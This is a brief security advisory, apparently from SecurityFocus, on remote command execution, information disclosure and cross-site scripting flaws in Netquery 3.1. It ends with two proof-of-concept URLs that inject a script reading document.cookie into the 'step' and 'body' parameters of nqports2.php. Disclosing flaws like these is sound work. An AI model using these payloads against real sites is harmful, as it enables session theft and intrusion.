source: https://www.securityfocus.com/bid/14373/info

Netquery is affected by multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands, disclose sensitive information and carry out cross-site scripting attacks.

Netquery 3.1 is affected by these vulnerabilities.

http://www.example.com/[path]/nqports2.php?step=<script>alert(document.cookie)</script>
http://www.example.com/[path]/nqports2.php?body=<script>alert(document.cookie)</script>